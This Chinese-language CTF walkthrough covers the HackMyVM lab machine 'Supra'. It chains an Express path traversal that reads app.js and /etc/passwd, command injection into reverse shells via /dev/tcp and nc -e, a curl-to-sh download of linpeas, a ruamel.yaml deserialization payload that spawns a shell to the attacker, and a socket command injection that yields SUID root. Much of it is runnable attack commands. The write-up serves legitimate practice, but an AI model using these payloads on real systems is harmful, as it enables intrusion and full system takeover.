https://hackmyvm.eu/machines/machine.php?vm=Supra
信息收集 NAMP 扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 IP=192.168.0.197 nmap -sV -T5 -Pn -p- $IP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.48 ((Debian)) 4000/tcp open http Node.js (Express middleware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
打开网页看看 http://$IP 是个 Apache2 的默认主页。简单扫一波目录。
1 gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
只有几个默认的目录。
再看一眼 4000 端口 http://192.168.0.197:4000 发现是一个 API for Cyber Security Professionals。 网络安全专业人士的 API。
核心源代码大概如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 function ping ( ) { ip = document .getElementById ("pingIn" ).value ; var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/ping/" + ip, false ); xhttp.send (); document .getElementById ("pingResult" ).innerHTML = xhttp.responseText ; } function portscan ( ) { ip = document .getElementById ("portscanIn" ).value ; var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/portscan/" + ip, false ); xhttp.send (); document .getElementById ("portscanResult" ).innerHTML = xhttp.responseText ; } function whois ( ) { ip = document .getElementById ("whoisIn" ).value ; var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/whois/" + ip, false ); xhttp.send (); document .getElementById ("whoisResult" ).innerHTML = xhttp.responseText ; } function base64e ( ) { data = document .getElementById ("base64eIn" ).value ; var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/base64/encode/" + data, false ); xhttp.send (); document .getElementById ("base64eResult" ).innerHTML = xhttp.responseText ; } function base64d ( ) { data = document .getElementById ("base64dIn" ).value ; var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/base64/decode/" + data, false ); xhttp.send (); document .getElementById ("base64dResult" ).innerHTML = xhttp.responseText ; } function passgen ( ) { var xhttp = new XMLHttpRequest (); xhttp.open ("GET" , "/generate-password" , false ); xhttp.send (); document .getElementById ("passgenResult" ).innerHTML = xhttp.responseText ; }
一边看源码,再去扫一波目录。
啥都没有。
尝试 既然使用了命令,先试试命令注入。尝试了几个命令,发现对 IP 校验比较严格,只能输入 IP 地址。 不过最后一个工具既然能直接上传。试试看上传一个 webshell。
传上去之后发现在 80 服务里找不到路径,提示的路即是在 /var/www/api/uploads/1.phP。4000 里也没扫到 uploads。 但是测试了 http://192.168.0.197:4000/uploads/1.phP 发现可以访问。 不过因为是 php 文件,所以 nodejs 里不会执行。
回想起来推荐我这个靶机的ll104567说问了关于 Node+Express 的一个目录穿越。试了试 CVE-2017-14849 中的 payload。../../../foo/../../../../etc/passwd
发现并没有用。应该版本不匹配,而且ll104567也说不是这个漏洞。
关于 nodejs 中关于文件处理,除了 Express 的 static 模块,还有一个 fs 模块。也去查了下 static 默认会阻止目录穿越,参考 https://stackoverflow.com/questions/65860214/does-nodejs-prevent-directory-path-traversal-by-default 我们做一个改造的实验,就是利用 fs 做一个简单的文件服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const http = require ("http" );const fs = require ("fs" );http .createServer (function (req, res ) { console .log ("." + req.url ); fs.readFile ("." + req.url , "utf8" , function (err, data ) { if (err) { console .error (err); res.writeHead (404 , { "Content-Type" : "text/plain" }); res.end (err.message ); } res.writeHead (200 , { "Content-Type" : "text/plain" }); res.end (data); }); }) .listen (3000 ); console .log ("The server is running on port 3000" );
这段代码就只是根据请求的 url 返回当前目录下文件内容。然后启动
1 2 node test.js The server is running on port 3000
然后我们访问 curl http://192.168.0.20:3000/test.js
是可以读到 test.js 的内容的。说明服务正常。然后我们试试看向上一级访问curl http://192.168.0.20:3000/../id_rsa
curl http://192.168.0.20:3000/%2e%2e%2fid_rsa
发现并不能读取到 id_rsa 文件。控制台输出如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ./id_rsa [Error: ENOENT: no such file or directory, open './id_rsa'] { errno: -2, code: 'ENOENT', syscall: 'open', path: './id_rsa' } ./%2e%2e%2fid_rsa [Error: ENOENT: no such file or directory, open './%2e%2e%2fid_rsa'] { errno: -2, code: 'ENOENT', syscall: 'open', path: './%2e%2e%2fid_rsa' }
如这个问题的提问所说,fs 模块默认是不能简单使用 ../
或者 url 编码(%2e
也就是.
; %2f
也就是/
) 来访问上级目录的。
其实说白了,默认情况下的 url 传递过来,因为并没有进行 url 解码,所以 %2e%2e%2f
会被当做文件名的一部分,而不是目录穿越。而不编码的 ../
会被 httpServer 拦截,可以看到控制台的输出是./id_rsa
.而不是../id_rsa
。
那么这时候,如果有人自动处理解码,那我们就可以绕过 httpServer 的限制,然后把../
扔给 fs 模块,是不是就能实现目录穿越了呢?
那这个人应该就是 Express 了,而且什么时候会存在 URL 解码呢?要么是 GET 参数,要么是路由参数。靶机里请求 http://192.168.0.197:4000/uploads/1.phP ,传入的 1.php 应该就是路由参数而不是 GET 参数。 说干就干:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var express = require ("express" );const fs = require ("fs" );var app = express ();app.get ("/:path" , function (req, res ) { console .log ("." + req.params .path ); fs.readFile ("." + req.params .path , "utf8" , function (err, data ) { if (err) { res.send ("File not found" ); } else { res.send (data); } }); }); app.listen (3000 , function ( ) { console .log ("listening to port 3000" ); });
然后我们再访问:curl http://192.168.0.20:3000/%2e%2e%2fid_rsa
此时控制台输出了.../id_rsa
我就知道我快成功了,
改下 url :curl http://192.168.0.20:3000/%2e%2fid_rsa
发现成功了,读取到了 id_rsa 的内容。
再尝试下读取 /etc/passwd
curl http://192.168.0.20:3000/%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
没有问题,成功获取到了 我电脑的 /etc/passwd
的内容。 回到靶机:
1 2 curl http://$IP :4000/uploads/%2e%2e%2fapp.js
成功读到 app.js 的内容,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 var express = require ("express" );const { exec } = require ("child_process" );const { base64encode, base64decode } = require ("nodejs-base64" );const whois = require ("node-xwhois" );const ipRegex = require ("ip-regex" );var generator = require ("generate-password" );const fs = require ("fs" );var multer = require ("multer" );var storage = multer.diskStorage ({ destination : function (req, file, callback ) { callback (null , "./uploads" ); }, filename : function (req, file, callback ) { callback (null , file.originalname ); }, }); var upload = multer ({ storage : storage }).single ("userFile" );var app = express ();app.set ("view engine" , "ejs" ); app.get ("/" , (req, res ) => { res.render ("home" ); }); app.get ("/ping/:ip" , (req, res ) => { ip = req.params .ip ; if (ipRegex ({ exact : true }).test (ip)) { exec ("ping -c 3 " .concat (ip), (error, stdout, stderr ) => { if (error) { } if (stderr) { } console .log (`stdout: ${stdout} ` ); res.send (`stdout: ${stdout} ` ); }); } else { res.send ("This is not an IP" ); } }); app.get ("/portscan/:ip" , (req, res ) => { ip = req.params .ip ; if (ipRegex ({ exact : true }).test (ip)) { exec ( "nmap -p 21,22,443,80,8080 -T4 " .concat (ip), (error, stdout, stderr ) => { if (error) { } if (stderr) { } console .log (`stdout: ${stdout} ` ); res.send (`stdout: ${stdout} ` ); } ); } else { res.send ("This is not an IP" ); } }); app.get ("/whois/:ip" , (req, res ) => { ip = req.params .ip ; if (ipRegex ({ exact : true }).test (ip)) { whois .whois (ip) .then ((data ) => res.send (data)) .catch ((err ) => console .log (err)); } else { res.send ("This is not an IP" ); } }); app.get ("/base64/decode/:data" , (req, res ) => { data = req.params .data ; base64decoded = base64decode (data); res.send (base64decoded); }); app.get ("/base64/encode/:data" , (req, res ) => { data = req.params .data ; base64encoded = base64encode (data); res.send (base64encoded); }); app.get ("/generate-password" , (req, res ) => { var password = generator.generate ({ length : 18 , numbers : true , symbols : true , }); res.send (password); }); app.get ("/uploads/:filename" , (req, res ) => { finalPath = __dirname.concat ("/uploads/" ).concat (req.params .filename ); console .log (finalPath); fs.readFile (finalPath, "utf8" , (err, data ) => { res.end (data); }); }); app.post ("/file" , function (req, res ) { upload (req, res, function (err ) { if (req.fileValidationError ) { return res.send (req.fileValidationError ); } else if (!req.file ) { return res.send ("Please select a file to upload" ); } else if (err instanceof multer.MulterError ) { return res.send (err); } else if (err) { return res.send (err); } exec ( "md5sum " .concat (__dirname).concat ("/uploads/" ).concat (req.file .filename ), (error, stdout, stderr ) => { console .log (`stdout: ${stdout} ` ); res.end (`stdout: ${stdout} ` ); } ); }); }); app.get ("/internal-processes-v1-display" , function (req, res ) { uid = req.query .uid ; console .log (uid); exec ("ps aux | grep " .concat (uid), (error, stdout, stderr ) => { console .log (`stdout: ${stdout} ` ); res.end (`stdout: ${stdout} :: ${uid} ` ); }); }); app.listen (4000 , function ( ) { console .log ("listening to port 4000" ); });
再看看 /etc/passwdcurl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin it404:x:1000:1000:it404,,,:/home/it404:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin`
看到了一个 it404 用户,我们可以尝试读取一下他的 home 目录下的文件。
curl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fhome%2fit404%2fuser.txt
返回了空,不知道是没有文件,还是我们没有权限读取。
此时注意到 app.js 里有一个 /internal-processes-v1-display
的路由,可以显示进程信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ┌──(kali㉿kali)-[~] └─$ curl http://$IP :4000/internal-processes-v1-display stdout: www-data 1413 0.0 0.0 2420 520 ? S 23:02 0:00 /bin/sh -c ps aux | grep undefined www-data 1415 0.0 0.0 6180 652 ? S 23:02 0:00 grep undefined :: undefined ┌──(kali㉿kali)-[~] └─$ curl http://$IP :4000/internal-processes-v1-display?uid=it404 stdout: it404 344 0.0 0.1 6756 3056 ? Ss 20:38 0:00 /bin/bash /opt/api/start-internal.sh it404 362 0.0 1.3 42228 28368 ? S 20:38 0:03 python3 internal-api.py www-data 1416 0.0 0.0 2420 572 ? S 23:02 0:00 /bin/sh -c ps aux | grep it404 www-data 1418 0.0 0.0 6180 708 ? S 23:02 0:00 grep it404 :: it404 ┌──(kali㉿kali)-[~] └─$ curl http://$IP :4000/internal-processes-v1-display?uid=root stdout: root 1 0.0 0.4 98164 10052 ? Ss 20:38 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 20:38 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 20:38 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 20:38 0:00 [rcu_par_gp] root 6 0.0 0.0 0 0 ? I< 20:38 0:00 [kworker/0:0H-events_highpri] root 9 0.0 0.0 0 0 ? I< 20:38 0:00 [mm_percpu_wq] root 10 0.0 0.0 0 0 ? S 20:38 0:00 [rcu_tasks_rude_] root 11 0.0 0.0 0 0 ? S 20:38 0:00 [rcu_tasks_trace] root 12 0.0 0.0 0 0 ? S 20:38 0:08 [ksoftirqd/0] root 13 0.0 0.0 0 0 ? I 20:38 0:01 [rcu_sched] root 14 0.0 0.0 0 0 ? S 20:38 0:00 [migration/0] root 15 0.0 0.0 0 0 ? S 20:38 0:00 [cpuhp/0] root 17 0.0 0.0 0 0 ? S 20:38 0:00 [kdevtmpfs] root 18 0.0 0.0 0 0 ? I< 20:38 0:00 [netns] root 19 0.0 0.0 0 0 ? S 20:38 0:00 [kauditd] root 20 0.0 0.0 0 0 ? S 20:38 0:00 [khungtaskd] root 21 0.0 0.0 0 0 ? S 20:38 0:00 [oom_reaper] root 22 0.0 0.0 0 0 ? I< 20:38 0:00 [writeback] root 23 0.0 0.0 0 0 ? S 20:38 0:00 [kcompactd0] root 24 0.0 0.0 0 0 ? SN 20:38 0:00 [ksmd] root 25 0.0 0.0 0 0 ? SN 20:38 0:00 [khugepaged] root 43 0.0 0.0 0 0 ? I< 20:38 0:00 [kintegrityd] root 44 0.0 0.0 0 0 ? I< 20:38 0:00 [kblockd] root 45 0.0 0.0 0 0 ? I< 20:38 0:00 [blkcg_punt_bio] root 46 0.0 0.0 0 0 ? I< 20:38 0:00 [edac-poller] root 47 0.0 0.0 0 0 ? I< 20:38 0:00 [devfreq_wq] root 48 0.0 0.0 0 0 ? I< 20:38 0:01 [kworker/0:1H-kblockd] root 51 0.0 0.0 0 0 ? S 20:38 0:00 [kswapd0] root 52 0.0 0.0 0 0 ? I< 20:38 0:00 [kthrotld] root 53 0.0 0.0 0 0 ? I< 20:38 0:00 [acpi_thermal_pm] root 54 0.0 0.0 0 0 ? I< 20:38 0:00 [ipv6_addrconf] root 64 0.0 0.0 0 0 ? I< 20:38 0:00 [kstrp] root 67 0.0 0.0 0 0 ? I< 20:38 0:00 [zswap-shrink] root 68 0.0 0.0 0 0 ? I< 20:38 0:00 [kworker/u3:0] root 110 0.0 0.0 0 0 ? I< 20:38 0:00 [ata_sff] root 111 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_0] root 112 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_1] root 113 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_0] root 114 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_1] root 115 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_2] root 116 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_2] root 153 0.0 0.0 0 0 ? S 20:38 0:00 [jbd2/sda1-8] root 154 0.0 0.0 0 0 ? I< 20:38 0:00 [ext4-rsv-conver] root 190 0.0 0.7 48344 14856 ? Ss 20:38 0:00 /lib/systemd/systemd-journald root 213 0.0 0.2 21264 5028 ? Ss 20:38 0:00 /lib/systemd/systemd-udevd root 254 0.0 0.0 0 0 ? I< 20:38 0:00 [cryptd] root 294 0.0 0.0 0 0 ? S 20:38 0:00 [irq/18-vmwgfx] root 295 0.0 0.0 0 0 ? I< 20:38 0:00 [ttm_swap] root 296 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc0] root 297 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc1] root 299 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc2] root 301 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc3] root 303 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc4] root 305 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc5] root 308 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc6] root 314 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc7] root 327 0.0 0.1 6684 2896 ? Ss 20:38 0:00 /usr/sbin/cron -f root 347 0.0 0.2 220740 4068 ? Ssl 20:38 0:00 /usr/sbin/rsyslogd -n -iNONE root 349 0.0 0.1 6756 3244 ? Ss 20:38 0:00 /bin/bash /root/.s/starts.sh root 352 0.0 0.2 99824 5944 ? Ssl 20:38 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 root 355 0.0 0.2 21536 5740 ? Ss 20:38 0:00 /lib/systemd/systemd-logind root 359 0.0 0.2 14560 5276 ? Ss 20:38 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant root 364 0.0 0.4 16396 9756 ? S 20:38 0:00 python3 socket-root.py root 426 0.0 0.0 5784 1740 tty1 Ss+ 20:38 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux root 485 0.0 0.3 13292 7788 ? Ss 20:38 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 536 0.0 1.0 193948 20348 ? Ss 20:38 0:01 /usr/sbin/apache2 -k start root 1394 0.0 0.0 0 0 ? I 22:39 0:00 [kworker/u2:1-ext4-rsv-conversion] root 1397 0.0 0.0 0 0 ? I 22:48 0:00 [kworker/u2:0-flush-8:0] root 1398 0.0 0.0 0 0 ? I 22:49 0:00 [kworker/0:2-ata_sff] root 1400 0.3 0.0 0 0 ? I 22:55 0:01 [kworker/0:0-ata_sff] root 1401 0.1 0.0 0 0 ? I 23:00 0:00 [kworker/0:1-events] root 1412 0.0 0.0 0 0 ? I 23:00 0:00 [kworker/u2:2-ext4-rsv-conversion] www-data 1419 0.0 0.0 2420 520 ? S 23:04 0:00 /bin/sh -c ps aux | grep root www-data 1421 0.0 0.0 6312 716 ? S 23:04 0:00 grep root :: root
既然是命令,再来试一波命令注入:
1 2 3 4 5 6 7 8 9 10 curl "http://192.168.0.197:4000/internal-processes-v1-display?uid=;ls" stdout: app.js node_modules package.json package-lock.json start.sh uploads views :: ;ls
真返回了,那直接来个反弹 shell 吧。
1 2 3 4 5 6 hURL -s -U ';/bin/bash -i >& /dev/tcp/192.168.0.30/1234 0>&1' curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果 hURL -s -U ';nc -e bash 192.168.0.30 1234' curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果 stdout: :: ;nc 192.168.0.30 1234 -e bash
连上就挂了。 问过ll104567,才知道自己用这个方法比较蠢,其实要这样就行:
1 curl 'http://192.168.0.197:4000/internal-processes-v1-display?uid=;nc+-e+/bin/bash+192.168.0.30+1234'
一个点是不用这么复杂的 urlencode,用 +代替空格就行,然后 bash 要替换成 /bin/bash。
1 2 (remote) www-data@Supra:/var/www/api$ id uid=33(www-data) gid=33(www-data) groups =33(www-data)
就拿到了 www-data 的webshell。
提权 下载 linpeas.sh 到靶机看看
1 2 3 4 5 6 7 8 9 10 11 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh (remote) www-data@Supra:/tmp$ cat r.txt |grep 8081 -B 3 -A 3 ╔══════════╣ Active Ports ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN -
跑了一遍发现了一个 127.0.0.1:8081 。 curl http://127.0.0.1:8081
返回了:Supra Internals
那 8081 是谁在跑呢?
1 2 3 lsof -i :8081 grep -r 8081 / 2>/dev/null
等不及,ll104567说用ps -ef 直接看
其实刚才跑 linpeas.sh 的时候就看到了,有些进程需要注意:
1 2 3 4 5 6 it404 344 0.0 0.1 6756 3056 ? Ss Apr18 0:00 /bin/bash /opt/api/start-internal.sh it404 362 0.0 1.3 42228 28368 ? S Apr18 0:09 _ python3 internal-api.py root 347 0.0 0.2 220740 4068 ? Ssl Apr18 0:00 /usr/sbin/rsyslogd -n -iNONE root 349 0.0 0.1 6756 3244 ? Ss Apr18 0:00 /bin/bash /root/.s/starts.sh root 364 0.0 0.4 16396 9756 ? S Apr18 0:00 _ python3 socket-root.py www-data 351 0.0 0.1 6836 3412 ? Ss Apr18 0:00 /bin/bash /var/www/api/start.sh
一个一个看,
1 2 3 4 5 cat /opt/api/start-internal.shpython3 internal-api.py cat internal-api.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from flask import Flask, requestimport ruamel.yamlimport warningsfrom base64 import b64decodewarnings.simplefilter('ignore' , ruamel.yaml.error.UnsafeLoaderWarning) from yaml.loader import FullLoaderapp = Flask(__name__) @app.route("/" , methods=["GET" ] ) def index (): return "Supra Internals" @app.route("/read-leaked-accounts" , methods=["GET" ] ) def read (): with open (r'./accounts.yaml' ) as file: accounts = ruamel.yaml.load(file) return accounts if __name__ == '__main__' : app.run("127.0.0.1" , port=8081 )
1 2 3 (remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts {"emails" :["[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ,"[email protected] " ],"passwords" :["6NpjqVCM" ,"mzPdgc9V" ,"fpRze8bn" ,"x4Lm3W6M" ,"tYUBN6Qx" ,"8zNBxXcd" ,"X48UYKrw" ,"xEfjB39C" ,"Wk956r4a" ,"UKQC5q2a" ]}
刚看见账号密码的时候,以为是要去爆破,不过看到里面的邮箱域名,突然感觉没有这么简单。read-leaked-accounts 的意思是一些泄露的账号和密码,虽然不知道是哪个系统的,但是目前还没有地方去爆破。至此为止,卡住了。
正当想去翻 WP 的时候,突然看见上面代码的一行:
1 warnings.simplefilter('ignore' , ruamel.yaml.error.UnsafeLoaderWarning)
看意思是有一个UnsafeLoaderWarning 被 ignore 了。 果断 Google 下 这个东西。
找到了一个 pdf:https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf 大概第 11 页开始,讲了些关于 ruamel.yaml 的介绍。 大概 19 页开始,开始讲如何序列化和反序列化。 大概 34 页讲了原理和利用的脚本:https://github.com/j0lt-github/python-deserialization-attack-payload-generator
看了下权限:
1 2 3 4 5 6 7 (remote) www-data@Supra:/opt/api$ ls -al total 20 drwxr-xr-x 2 root root 4096 Oct 12 2021 . drwxr-xr-x 3 root root 4096 Oct 11 2021 .. -rwxrwxrwx 1 www-data www-data 445 Oct 11 2021 accounts.yaml -rw-r--r-- 1 root root 609 Oct 12 2021 internal-api.py -rwxr-xr-x 1 root root 36 Oct 11 2021 start-internal.sh
accounts.yaml 是可写的,看来应该是留给我们写入的。 先试试能不能利用:
1 2 3 4 5 6 7 echo '!!python/object/apply:time.sleep [10]' > accounts.yaml (remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN" > <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
明显感到卡了 10s,说明这个是存在反序列化漏洞的。 利用脚本生成一个 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 git clone https://github.com/j0lt-github/python-deserialization-attack-payload-generator cd python-deserialization-attack-payload-generator pip install -r requirements.txt ┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator] └─$ python peas.py Enter RCE command :nc 192.168.0.30 1235 -e /bin/bash Enter operating system of target [linux/windows] . Default is linux : Want to base64 encode payload ? [N/y] : Enter File location and name to save :acc Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :ruamel.yaml Done Saving file !!!! ┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator] └─$ cat acc_yaml !!python/object/apply:subprocess.Popen - !!python/tuple - nc - 192.168.0.30 - '1235' - -e - /bin/bash
然后把这个 payload 写入 accounts.yaml 里:
1 2 3 4 5 6 7 8 9 cat <<EOF > accounts.yaml !!python/object/apply:subprocess.Popen - !!python/tuple - nc - 192.168.0.30 - '1235' - -e - /bin/bash EOF
然后再次访问:
1 2 curl http://127.0.0.1:8081/read-leaked-accounts
可以看到已经连上了。
1 2 (remote) it404@Supra:/opt/api$ id uid=1000(it404) gid=1000(it404) groups =1000(it404),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
拿到了第一个 flag。
再次提权 之前还有一个 root 的文件:
1 2 root 349 0.0 0.1 6756 3244 ? Ss Apr18 0:00 /bin/bash /root/.s/starts.sh root 364 0.0 0.4 16396 9756 ? S Apr18 0:00 _ python3 socket-root.py
猜测这个文件是在 /root/.s/ 下的,可是没有权限。
1 2 3 4 5 6 (remote) it404@Supra:/home/it404$ cd /root/.s/ bash: cd : /root/.s/: Permission denied (remote) it404@Supra:/home/it404$ ls -al /root/.s/ ls : cannot access '/root/.s/' : Permission denied(remote) it404@Supra:/home/it404$ ls /root/.s/ ls : cannot access '/root/.s/' : Permission denied
至此就卡住了。 最后翻了ll104567的 WP,才知道这玩意有一个现成的利用方案。https://book.hacktricks.xyz/linux-hardening/privilege-escalation/socket-command-injection 而如何猜到有这个漏洞呢?我是压根没感觉。 是在这里:
1 2 3 4 5 6 USER root rwx user it404 rwx GROUP root r-x mask rwx other r-x
这个位置。 然后执行:
1 2 3 4 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/usr/local/src/socket.s/tmp/bash -p id uid=1000(it404) gid=1000(it404) euid=0(root) egid=0(root) groups =0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),1000(it404)
就拿到 root 了。